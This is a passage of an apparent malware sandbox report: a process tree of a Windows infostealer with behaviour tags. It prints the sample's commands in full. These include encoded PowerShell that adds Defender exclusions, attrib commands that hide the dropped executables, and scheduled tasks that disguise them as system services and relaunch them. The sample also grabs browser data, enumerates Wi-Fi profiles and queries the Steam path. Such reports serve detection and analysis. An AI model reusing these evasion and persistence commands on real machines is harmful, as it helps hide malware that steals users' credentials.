    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3688
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe
      4⤵
      Views/modifies file attributes
      PID:5208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAGUAYQByAGMAaABQAHIAbwB0AG8AYwBvAGwAXABcAEgAbwBzAHQAXABcAFMAZQBhAHIAYwBoAFAAcgBvAHQAbwBjAG8AbAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAZQBhAHIAYwBoAFAAcgBvAHQAbwBjAG8AbAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:5644
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6776
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchProtocolSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:6368
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6288
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchProtocolSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6728
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1524
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:7112
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig
      4⤵
      Views/modifies file attributes
      PID:6580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAEwAQQBOAFwAXABBAHUAdABvAEMAbwBuAGYAaQBnACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe" 2>nul'"
  2⤵
  PID:6840
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1464
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe
      4⤵
      Views/modifies file attributes
      PID:4732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAEwAQQBOAFwAXABBAHUAdABvAEMAbwBuAGYAaQBnAFwAXABXAEwAQQBOAEEAdQB0AG8AQwBvAG4AZgBpAGcALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABQAHIAbwB0AGUAYwB0AGkAbwBuAFwAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:6396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFcATABBAE4AQQB1AHQAbwBDAG8AbgBmAGkAZwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:5544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAHkAcwB0AHIAYQB5AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:6384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WLANAutoConfigSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:4208
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WLANAutoConfigSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6524
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WLANAutoConfigSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c '"C:\Users\Admin\AppData\Local\Microsoft\Protection\svc_1784277501159.exe" all -f -o "C:\Users\Admin\AppData\Local\Temp\\grab_1784277463455\elev_out"'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6916
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Microsoft\Protection\svc_1784277501159.exe all -f -o C:\Users\Admin\AppData\Local\Temp\\grab_1784277463455\elev_out"
    3⤵
    PID:6920
  - - C:\Users\Admin\AppData\Local\Microsoft\Protection\svc_1784277501159.exe
      C:\Users\Admin\AppData\Local\Microsoft\Protection\svc_1784277501159.exe all -f -o C:\Users\Admin\AppData\Local\Temp\\grab_1784277463455\elev_out
      4⤵
      PID:2256
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        5⤵
        
        PID:2484
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        5⤵
        
        PID:752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WLANAutoConfigSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:620
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WLANAutoConfigSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:980
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WLANAutoConfigSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc" 2>nul'"
  2⤵
  PID:5596
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6032
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc
      4⤵
      Views/modifies file attributes
      PID:2148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAHIAeQBwAHQAbwBcAFwAQwBlAHIAdABpAGYAaQBjAGEAdABlAFMAdgBjACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe" 2>nul'"
  2⤵
  PID:4628
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3672
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6852
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe
      4⤵
      Views/modifies file attributes
      PID:1296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAHIAeQBwAHQAbwBcAFwAQwBlAHIAdABpAGYAaQBjAGEAdABlAFMAdgBjAFwAXABDAHIAeQBwAHQAbwBDAGUAcgB0AFMAdgBjAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:3272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEMAcgB5AHAAdABvAEMAZQByAHQAUwB2AGMALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:3836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" /t REG_SZ /d "BROWSER_DONE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277503061" /f 2>nul'"
  2⤵
  PID:7092
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d BROWSER_DONE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277503061 /f 2>nul"
    3⤵
    PID:3420
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d BROWSER_DONE
      4⤵
      Modifies registry key
      PID:6364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CertificatePropagation" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:7048
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CertificatePropagation /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:5588
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn CertificatePropagation /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'netsh wlan show profiles'"
  2⤵
  PID:6556
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4668
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CertificatePropagation_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:4404
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CertificatePropagation_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:2468
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn CertificatePropagation_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate" 2>nul'"
  2⤵
  PID:6444
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6192
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate
      4⤵
      Views/modifies file attributes
      PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Valve\Steam" /v SteamPath 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4288
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Valve\Steam /v SteamPath 2>nul"
    3⤵
    PID:4548
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Valve\Steam /v SteamPath
      4⤵
      Modifies registry key
      PID:3332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
